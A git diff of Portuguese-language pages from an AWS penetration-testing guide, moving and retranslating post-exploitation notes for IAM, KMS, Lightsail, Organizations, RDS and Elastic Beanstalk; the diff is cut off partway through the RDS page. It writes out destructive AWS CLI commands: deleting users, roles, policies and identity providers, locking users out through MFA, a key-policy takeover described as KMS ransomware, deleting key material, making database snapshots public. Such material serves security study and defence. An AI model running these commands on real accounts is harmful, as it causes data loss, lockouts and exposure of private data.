+### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
+
+> [!NOTE]
+> TODO: Testar se são necessárias mais permissões para isto
+
+Um atacante com as permissões `elasticbeanstalk:AddTags` e `elasticbeanstalk:RemoveTags` pode **add or remove tags on Elastic Beanstalk resources**. Essa ação pode levar a alocação incorreta de recursos, faturamento incorreto ou problemas no gerenciamento de recursos.
+```bash
+aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
+
+aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
+```
+**Impacto Potencial**: Alocação incorreta de recursos, faturamento ou gerenciamento de recursos devido à adição ou remoção de tags.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
similarity index 56%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
index a0a91dfbc..ab4dee922 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
@@ -1,24 +1,24 @@
 # AWS - IAM Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## IAM
 
-Para mais informações sobre acesso IAM:
+For more information about IAM access:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
-## Confused Deputy Problem
+## Problema do Confused Deputy
 
-Se você **permitir que uma conta externa (A)** acesse uma **role** na sua conta, provavelmente terá **0 visibilidade** sobre **quem exatamente pode acessar essa conta externa**. Isso é um problema, porque se outra conta externa (B) conseguir acessar a conta externa (A), é possível que **B também consiga acessar sua conta**.
+Se você **permitir que uma conta externa (A)** acesse uma **role** na sua conta, provavelmente terá **0 visibilidade** sobre **quem exatamente pode acessar essa conta externa**. Isso é um problema, porque se outra conta externa (B) puder acessar a conta externa (A), é possível que **B também consiga acessar sua conta**.
 
-Portanto, ao permitir que uma conta externa acesse uma role na sua conta, é possível especificar um `ExternalId`. Esta é uma string "secreta" que a conta externa (A) **precisa especificar** para **assume the role in your organization**. Como a **conta externa B não conhece essa string**, mesmo que ele tenha acesso à A, ele **não conseguirá acessar sua role**.
+Portanto, ao permitir que uma conta externa acesse uma role na sua conta, é possível especificar um `ExternalId`. Esta é uma string "secreta" que a conta externa (A) **precisa especificar** para **assumir a role na sua organização**. Como a **conta externa B não conhecerá essa string**, mesmo que ela tenha acesso à A, **não poderá acessar sua role**.
 
 <figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
 
-No entanto, note que este `ExternalId` "secreto" é **não é um segredo**, qualquer um que possa **ler a IAM assume role policy will be able to see it**. Mas desde que a conta externa A o conheça, e a conta externa **B não o conheça**, isso **impede que B abuse de A para acessar sua role**.
+No entanto, note que esse "segredo" `ExternalId` **não é um segredo**: qualquer pessoa que puder **ler a IAM assume role policy poderá vê-lo**. Mas enquanto a conta externa A souber dele, e a conta externa **B não souber**, isso **impede que B abuse de A para acessar sua role**.
 
 Exemplo:
 ```json
@@ -39,9 +39,9 @@ Exemplo:
 }
 ```
 > [!WARNING]
-> Para que um atacante explore um confused deputy, ele precisará descobrir de alguma forma se os principals da current account podem assumir roles em other accounts.
+> Para um atacante explorar um confused deputy, ele precisará descobrir de alguma forma se os principals da conta atual podem se passar por roles em outras contas.
 
-### Relações de confiança inesperadas
+### Confianças inesperadas
 
 #### Wildcard como principal
 ```json
@@ -51,7 +51,7 @@ Exemplo:
 "Principal": { "AWS": "*" }
 }
 ```
-Esta policy **permite que todos os serviços da AWS** assumam o role.
+Esta política **permite que todo o AWS** assuma a role.
 
 #### Serviço como principal
 ```json
@@ -62,7 +62,7 @@ Esta policy **permite que todos os serviços da AWS** assumam o role.
 "Resource": "arn:aws:lambda:000000000000:function:foo"
 }
 ```
-Esta policy **permite qualquer conta** configurar seu apigateway para chamar esta Lambda.
+Esta política **permite que qualquer conta** configure seu apigateway para chamar esta Lambda.
 
 #### S3 como principal
 ```json
@@ -73,7 +73,7 @@ Esta policy **permite qualquer conta** configurar seu apigateway para chamar est
 }
 }
 ```
-Se um S3 bucket for definido como principal, já que os S3 buckets não têm um ID da conta, se você **deletou seu bucket e o atacante o criou** na própria conta, o atacante poderia abusar disso.
+Se um S3 bucket for dado como um principal, porque S3 buckets não têm um Account ID, se você **excluiu seu bucket e o atacante o criou** na conta dele, então ele poderia abusar disso.
 
 #### Não suportado
 ```json
@@ -86,8 +86,8 @@ Se um S3 bucket for definido como principal, já que os S3 buckets não têm um
 ```
 Uma forma comum de evitar problemas de Confused Deputy é usar uma condição com `AWS:SourceArn` para verificar o ARN de origem. No entanto, **alguns serviços podem não suportar isso** (como CloudTrail segundo algumas fontes).
 
-### Credential Deletion
-Com qualquer uma das seguintes permissões — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — um ator pode remover access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates ou CloudFront public keys, ou desassociar roles de instance profiles. Tais ações podem bloquear imediatamente usuários e aplicações legítimas e causar denial-of-service ou perda de acesso para sistemas que dependem dessas credenciais, portanto essas permissões IAM devem ser rigidamente restritas e monitoradas.
+### Exclusão de Credenciais
+Com qualquer uma das seguintes permissões — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — um ator pode remover access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates ou CloudFront public keys, ou desassociar roles de instance profiles. Tais ações podem imediatamente bloquear usuários e aplicações legítimas e causar denial-of-service ou perda de acesso para sistemas que dependem dessas credenciais, portanto essas permissões do IAM devem ser rigorosamente restritas e monitoradas.
 ```bash
 # Remove Access Key of a user
 aws iam delete-access-key \
@@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \
 --ssh-public-key-id APKAEIBAERJR2EXAMPLE
 ```
 ### Exclusão de Identidade
-Com permissões como `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` ou `iam:RemoveUserFromGroup`, um ator pode excluir usuários, funções ou grupos — ou alterar a associação a um grupo — removendo identidades e vestígios associados. Isso pode interromper imediatamente o acesso de pessoas e serviços que dependem dessas identidades, causando negação de serviço ou perda de acesso; portanto, essas ações do IAM devem ser rigorosamente restritas e monitoradas.
+Com permissões como `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, ou `iam:RemoveUserFromGroup`, um ator pode excluir usuários, funções ou grupos—or alterar a associação a grupos—removendo identidades e vestígios associados. Isso pode interromper imediatamente o acesso de pessoas e serviços que dependem dessas identidades, causando denial-of-service ou perda de acesso, portanto essas ações do IAM devem ser rigidamente restritas e monitoradas.
 ```bash
 # Delete a user
 aws iam delete-user \
@@ -114,8 +114,7 @@ aws iam delete-group \
 aws iam delete-role \
 --role-name <Role>
 ```
-###
-Com qualquer uma das seguintes permissões — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — um ator pode excluir ou desanexar políticas gerenciadas/inline, remover versões de políticas ou limites de permissões, e desvincular políticas de usuários, grupos ou funções. Isso destrói autorizações e pode alterar o modelo de permissões, causando perda imediata de acesso ou negação de serviço para entidades que dependiam dessas políticas, portanto essas ações do IAM devem ser estritamente restritas e monitoradas.
+Com qualquer uma das seguintes permissões — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — um ator pode deletar ou desanexar managed/inline policies, remover policy versions ou permissions boundaries, e desvincular policies de users, groups ou roles. Isso destrói autorizações e pode alterar o modelo de permissões, causando perda imediata de acesso ou denial-of-service para principals que dependiam dessas policies, portanto essas ações do IAM devem ser rigidamente restringidas e monitoradas.
 ```bash
 # Delete a group policy
 aws iam delete-group-policy \
@@ -127,8 +126,8 @@ aws iam delete-role-policy \
 --role-name <RoleName> \
 --policy-name <PolicyName>
 ```
-### Federated Identity Deletion
-Com `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` e `iam:RemoveClientIDFromOpenIDConnectProvider`, um ator pode excluir provedores de identidade OIDC/SAML ou remover client IDs. Isso interrompe a autenticação federada, impedindo a validação de tokens e negando imediatamente o acesso a usuários e serviços que dependem de SSO até que o IdP ou as configurações sejam restaurados.
+### Exclusão de identidade federada
+Com `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` e `iam:RemoveClientIDFromOpenIDConnectProvider`, um ator pode excluir provedores de identidade OIDC/SAML ou remover IDs de cliente. Isso interrompe a autenticação federada, impedindo a validação de tokens e negando imediatamente o acesso a usuários e serviços que dependem de SSO até que o IdP ou as configurações sejam restaurados.
 ```bash
 # Delete OIDCP provider
 aws iam delete-open-id-connect-provider \
@@ -139,7 +138,7 @@ aws iam delete-saml-provider \
 --saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
 ```
 ### Ativação ilegítima de MFA
-Com `iam:EnableMFADevice`, um ator pode registrar um dispositivo MFA na identidade de um usuário, impedindo o usuário legítimo de efetuar login. Uma vez que um MFA não autorizado é habilitado, o usuário pode ficar bloqueado até que o dispositivo seja removido ou redefinido (nota: se múltiplos dispositivos MFA estiverem registrados, o login requer apenas um, então este ataque não terá efeito em negar o acesso).
+Com `iam:EnableMFADevice`, um atacante pode registrar um dispositivo MFA na identidade de um usuário, impedindo o usuário legítimo de fazer login. Uma vez que um MFA não autorizado é ativado, o usuário pode ficar bloqueado até que o dispositivo seja removido ou redefinido (nota: se vários dispositivos MFA estiverem registrados, o login requer apenas um, então esse ataque não terá efeito para negar o acesso).
 ```bash
 aws iam enable-mfa-device \
 --user-name <Username> \
@@ -148,7 +147,7 @@ aws iam enable-mfa-device \
 --authentication-code2 789012
 ```
 ### Certificate/Key Metadata Tampering
-Com `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, um ator pode alterar o estado ou os metadados de chaves públicas e certificados. Ao marcar chaves/certificados como inativos ou alterar referências, eles podem quebrar a autenticação SSH, invalidar validações X.509/TLS e interromper imediatamente serviços que dependem dessas credenciais, causando perda de acesso ou disponibilidade.
+Com `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, um ator pode alterar o status ou os metadados de chaves públicas e certificados. Ao marcar chaves/certificados como inativos ou alterar referências, podem quebrar a autenticação SSH, invalidar validações X.509/TLS e interromper imediatamente serviços que dependem dessas credenciais, causando perda de acesso ou indisponibilidade.
 ```bash
 aws iam update-ssh-public-key \
 --user-name <Username> \
@@ -163,4 +162,4 @@ aws iam update-server-certificate \
 
 - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
similarity index 51%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
index 4d29e3587..eb25e7dd5 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
@@ -1,26 +1,26 @@
-# AWS - KMS Post Exploitation
+# AWS - KMS Pós-Exploração
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## KMS
 
-Para mais informações, confira:
+Para mais informações, consulte:
 
 {{#ref}}
-../aws-services/aws-kms-enum.md
+../../aws-services/aws-kms-enum.md
 {{#endref}}
 
-### Criptografar/Descriptografar informação
+### Criptografar/Descriptografar informações
 
 `fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
 
 - `fileb://:` Lê o arquivo em modo binário, comumente usado para arquivos não textuais.
-- `file://:` Lê o arquivo em modo texto, tipicamente usado para arquivos de texto simples, scripts, ou JSON que não têm requisitos de codificação especiais.
+- `file://:` Lê o arquivo em modo texto, tipicamente usado para arquivos de texto simples, scripts ou JSON que não têm requisitos especiais de codificação.
 
 > [!TIP]
 > Observe que, se você quiser descriptografar alguns dados dentro de um arquivo, o arquivo deve conter os dados binários, não dados codificados em base64. (fileb://)
 
-- Usando uma chave **simétrica**
+- Usando uma **simétrica** key
 ```bash
 # Encrypt data
 aws kms encrypt \
@@ -60,14 +60,14 @@ aws kms decrypt \
 ```
 ### KMS Ransomware
 
-Um atacante com acesso privilegiado ao KMS poderia modificar a KMS policy das chaves e **conceder acesso à sua conta sobre elas**, removendo o acesso concedido à conta legítima.
+Um atacante com acesso privilegiado ao KMS poderia modificar a KMS policy das keys e **conceder à sua conta acesso a elas**, removendo o acesso concedido à conta legítima.
 
-Então, os usuários da conta legítima não conseguirão acessar qualquer informação de qualquer serviço que tenha sido criptografado com essas chaves, criando um ransomware simples mas eficaz contra a conta.
+Então, os usuários da conta legítima não poderão acessar qualquer informação de qualquer serviço que tenha sido criptografado com essas keys, criando um ransomware simples mas eficaz na conta.
 
 > [!WARNING]
-> Observe que **AWS managed keys não são afetadas** por este ataque, apenas **Customer managed keys**.
+> Note que **AWS managed keys aren't affected** por este ataque, apenas **Customer managed keys**.
 
-> Também observe a necessidade de usar o parâmetro **`--bypass-policy-lockout-safety-check`** (a ausência dessa opção no web console torna esse ataque possível apenas via CLI).
+> Também observe a necessidade de usar o parâmetro **`--bypass-policy-lockout-safety-check`** (a ausência dessa opção no web console torna este ataque possível apenas via CLI).
 ```bash
 # Force policy change
 aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,22 +92,22 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
 }
 ```
 > [!CAUTION]
-> Observe que se você alterar essa policy e conceder acesso apenas a uma external account, e então a partir dessa external account tentar definir uma nova policy para **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**.
+> Atenção: observe que se você alterar essa policy e apenas conceder acesso a uma external account, e então a partir dessa external account tentar definir uma nova policy para **devolver o acesso à conta original, você não conseguirá porque a Put Polocy action cannot be performed from a cross account**.
 
 <figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
 
-### Generic KMS Ransomware
+### Genérico KMS Ransomware
 
-There is another way to perform a global KMS Ransomware, which would involve the following steps:
+Há outra forma de realizar um KMS Ransomware global, que envolveria os seguintes passos:
 
-- Create a new **key with a key material** imported by the attacker
-- **Re-encrypt older data** of the victim encrypted with the previous version with the new one.
+- Criar uma nova **key with a key material** importada pelo atacante
+- **Re-encrypt older data** da vítima, criptografados com a versão anterior, com a nova
 - **Delete the KMS key**
-- Now only the attacker, who has the original key material could be able to decrypt the encrypted data
+- Agora somente o atacante, que possui o key material original, poderia ser capaz de descriptografar os dados criptografados
 
-### Excluir chaves via kms:DeleteImportedKeyMaterial
+### Delete Keys via kms:DeleteImportedKeyMaterial
 
-Com a permissão `kms:DeleteImportedKeyMaterial`, um ator pode excluir o key material importado de CMKs com `Origin=EXTERNAL` (CMKs que importaram seu key material), tornando-os incapazes de descriptografar dados. Essa ação é destrutiva e irreversível, a menos que material compatível seja reimportado, permitindo que um atacante cause efetivamente perda de dados semelhante a ransomware ao tornar a informação criptografada permanentemente inacessível.
+Com a permissão `kms:DeleteImportedKeyMaterial`, um ator pode deletar o key material importado de CMKs com `Origin=EXTERNAL` (CMKs que importaram seu key material), tornando-os incapazes de descriptografar dados. Esta ação é destrutiva e irreversível a menos que material compatível seja reimportado, permitindo que um atacante efetivamente cause perda de dados do tipo ransomware ao tornar a informação criptografada permanentemente inacessível.
 ```bash
 aws kms delete-imported-key-material --key-id <Key_ID>
 ```
@@ -121,10 +121,10 @@ aws kms schedule-key-deletion \
 --pending-window-in-days 7
 ```
 > [!CAUTION]
-> Observe que a AWS agora **impede que as ações anteriores sejam executadas a partir de outra conta:** 
+> Observe que a AWS agora **impede que as ações anteriores sejam executadas a partir de uma conta cruzada:**
 
 ### Alterar ou excluir Alias
-Esse ataque exclui ou redireciona aliases do AWS KMS, quebrando a resolução da chave e causando falhas imediatas em quaisquer serviços que dependam desses aliases, resultando em negação de serviço. Com permissões como `kms:DeleteAlias` ou `kms:UpdateAlias`, um atacante pode remover ou reapontar aliases e interromper operações criptográficas (e.g., encrypt, describe). Qualquer serviço que referencie o alias em vez do ID da chave pode falhar até que o alias seja restaurado ou remapeado corretamente.
+Este ataque exclui ou redireciona aliases do AWS KMS, quebrando a resolução de chaves e causando falhas imediatas em quaisquer serviços que dependam desses aliases, resultando em negação de serviço. Com permissões como `kms:DeleteAlias` ou `kms:UpdateAlias` um atacante pode remover ou apontar novamente aliases e interromper operações criptográficas (por exemplo, encrypt, describe). Qualquer serviço que referencie o alias em vez do key ID pode falhar até que o alias seja restaurado ou corretamente remapeado.
 ```bash
 # Delete Alias
 aws kms delete-alias --alias-name alias/<key_alias>
@@ -135,7 +135,7 @@ aws kms update-alias \
 --target-key-id <new_target_key>
 ```
 ### Cancelar exclusão de chave
-Com permissões como `kms:CancelKeyDeletion` e `kms:EnableKey`, um ator pode cancelar a exclusão agendada de uma AWS KMS customer master key e, posteriormente, reativá-la. Ao fazer isso, a chave é recuperada (inicialmente no estado Desativado) e sua capacidade de descriptografar dados previamente protegidos é restaurada, permitindo a exfiltração.
+Com permissões como `kms:CancelKeyDeletion` e `kms:EnableKey`, um atacante pode cancelar uma exclusão agendada de uma chave mestra do cliente do AWS KMS e posteriormente reativá-la. Ao fazer isso, a chave é recuperada (inicialmente em estado Disabled) e sua capacidade de descriptografar dados previamente protegidos é restaurada, permitindo exfiltração.
 ```bash
 # Firts cancel de deletion
 aws kms cancel-key-deletion \
@@ -145,14 +145,14 @@ aws kms cancel-key-deletion \
 aws kms enable-key \
 --key-id <Key_ID>
 ```
-### Disable Key
-Com a permissão `kms:DisableKey`, um ator pode desativar uma AWS KMS customer master key, impedindo que ela seja usada para criptografia ou descriptografia. Isso interrompe o acesso para quaisquer serviços que dependam dessa CMK e pode causar interrupções imediatas ou um denial-of-service até que a chave seja reativada.
+### Desativar Chave
+Com a permissão `kms:DisableKey`, um ator pode desativar uma customer master key do AWS KMS, impedindo que ela seja usada para criptografia ou descriptografia. Isso interrompe o acesso de quaisquer serviços que dependam dessa CMK e pode causar interrupções imediatas ou um denial-of-service até que a chave seja reativada.
 ```bash
 aws kms disable-key \
 --key-id <key_id>
 ```
 ### Derive Shared Secret
-Com a permissão `kms:DeriveSharedSecret`, um ator pode usar uma chave privada mantida pelo KMS juntamente com uma chave pública fornecida pelo usuário para calcular um segredo compartilhado ECDH.
+Com a permissão `kms:DeriveSharedSecret`, um ator pode usar uma private key mantida pelo KMS e uma public key fornecida pelo usuário para calcular um ECDH shared secret.
 ```bash
 aws kms derive-shared-secret \
 --key-id <key_id> \
@@ -160,7 +160,7 @@ aws kms derive-shared-secret \
 --key-agreement-algorithm <algorithm>
 ```
 ### Impersonation via kms:Sign
-Com a permissão `kms:Sign`, um ator pode usar uma CMK armazenada no KMS para assinar criptograficamente dados sem expor a private key, produzindo assinaturas válidas que podem permitir impersonation ou autorizar ações maliciosas.
+Com a permissão `kms:Sign`, um agente pode usar uma CMK armazenada no KMS para assinar criptograficamente dados sem expor a chave privada, produzindo assinaturas válidas que podem permitir impersonation ou autorizar ações maliciosas.
 ```bash
 aws kms sign \
 --key-id <key-id> \
@@ -168,8 +168,8 @@ aws kms sign \
 --signing-algorithm <algoritmo> \
 --message-type RAW
 ```
-### DoS with Custom Key Stores
-Com permissões como `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` ou `kms:UpdateCustomKeyStore`, um ator pode modificar, desconectar ou deletar um AWS KMS Custom Key Store (CKS), tornando suas chaves mestras inoperantes. Isso interrompe as operações de criptografia, descriptografia e assinatura para quaisquer serviços que dependam dessas chaves e pode causar uma denial-of-service imediata. Restringir e monitorar essas permissões é, portanto, crítico.
+### DoS com Custom Key Stores
+Com permissões como `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` ou `kms:UpdateCustomKeyStore`, um ator pode modificar, desconectar ou excluir um AWS KMS Custom Key Store (CKS), tornando suas chaves mestres inoperáveis. Isso interrompe as operações de criptografia, descriptografia e assinatura para quaisquer serviços que dependam dessas chaves e pode causar um denial-of-service imediato. Restringir e monitorar essas permissões é, portanto, crítico.
 ```bash
 aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
 
@@ -179,4 +179,4 @@ aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --ne
 ```
 <figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
deleted file mode 100644
index 4481bca49..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
+++ /dev/null
@@ -1,30 +0,0 @@
-# AWS - Lightsail Pós Exploração
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### Restaurar antigos snapshots de DB
-
-Se o DB tiver snapshots, você pode **encontrar informações sensíveis atualmente deletadas em antigos snapshots**. **Restaure** o snapshot em um **novo banco de dados** e verifique.
-
-### Restaurar Snapshots de Instância
-
-Snapshots de instância podem conter **informações sensíveis** de instâncias já deletadas ou informações sensíveis que foram deletadas na instância atual. **Crie novas instâncias a partir dos snapshots** e verifique-as.\
-Ou **exporte o snapshot para um AMI no EC2** e siga os passos de uma instância EC2 típica.
-
-### Acessar Informações Sensíveis
-
-Confira as opções de privesc do Lightsail para aprender diferentes maneiras de acessar informações sensíveis potenciais:
-
-{{#ref}}
-../aws-privilege-escalation/aws-lightsail-privesc.md
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md
new file mode 100644
index 000000000..ae1199c07
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md
@@ -0,0 +1,30 @@
+# AWS - Lightsail Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+Para mais informações, consulte:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### Restaurar snapshots antigos do DB
+
+Se o DB tiver snapshots, você pode ser capaz de **encontrar informações sensíveis que foram deletadas em snapshots antigos**. **Restaure** o snapshot em um **novo banco de dados** e verifique-o.
+
+### Restaurar snapshots de instância
+
+Snapshots de instância podem conter **informação sensível** de instâncias já deletadas ou informações sensíveis que foram deletadas na instância atual. **Crie novas instâncias a partir dos snapshots** e verifique-as.\
+Ou **exporte o snapshot para uma AMI no EC2** e siga os passos de uma típica instância EC2.
+
+### Acessar informações sensíveis
+
+Confira as opções de privesc do Lightsail para aprender diferentes maneiras de acessar possíveis informações sensíveis:
+
+{{#ref}}
+../../aws-privilege-escalation/aws-lightsail-privesc/README.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
deleted file mode 100644
index 22c91d540..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
+++ /dev/null
@@ -1,17 +0,0 @@
-# AWS - Organizações Pós Exploração
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Organizações
-
-Para mais informações sobre AWS Organizations, consulte:
-
-{{#ref}}
-../aws-services/aws-organizations-enum.md
-{{#endref}}
-
-### Sair da Org
-```bash
-aws organizations deregister-account --account-id <account_id> --region <region>
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md
new file mode 100644
index 000000000..e41777369
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md
@@ -0,0 +1,17 @@
+# AWS - Organizations Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Organizations
+
+Para mais informações sobre AWS Organizations, consulte:
+
+{{#ref}}
+../../aws-services/aws-organizations-enum.md
+{{#endref}}
+
+### Sair da Organização
+```bash
+aws organizations deregister-account --account-id <account_id> --region <region>
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
similarity index 77%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
index ad223286c..240664c70 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
@@ -1,18 +1,18 @@
 # AWS - RDS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
-Para mais informações, veja:
+Para mais informações, consulte:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
 
-Se o atacante tiver permissões suficientes, ele poderia tornar uma **DB publicamente acessível** criando um snapshot da DB e, em seguida, uma DB publicamente acessível a partir do snapshot.
+Se o atacante tiver permissões suficientes, ele pode tornar um **DB publicamente acessível** criando um snapshot do DB e, em seguida, criar um DB publicamente acessível a partir desse snapshot.
 ```bash
 aws rds describe-db-instances # Get DB identifier
 
@@ -53,15 +53,15 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
 ```
 ### `rds:DownloadDBLogFilePortion`
 
-Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar partes dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem registrados acidentalmente, o atacante poderia potencialmente usar essas informações para escalar seus privilégios ou realizar ações não autorizadas.
+Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar partes dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem registrados acidentalmente nos logs, o atacante poderia potencialmente usar essa informação para escalar privilégios ou executar ações não autorizadas.
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
-**Impacto Potencial**: Acesso a informações sensíveis ou execução de ações não autorizadas usando leaked credentials.
+**Impacto Potencial**: Acesso a informações sensíveis ou ações não autorizadas usando leaked credentials.
 
 ### `rds:DeleteDBInstance`
 
-Um atacante com essas permissões pode **DoS instâncias RDS existentes**.
+Um atacante com essas permissões pode **causar DoS em instâncias RDS existentes**.
 ```bash
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
@@ -73,28 +73,28 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
 > [!NOTE]
 > TODO: Testar
 
-Um atacante com essa permissão pode **exportar um snapshot de uma instância RDS para um bucket S3**. Se o atacante tiver controle sobre o bucket S3 de destino, ele pode potencialmente acessar dados sensíveis dentro do snapshot exportado.
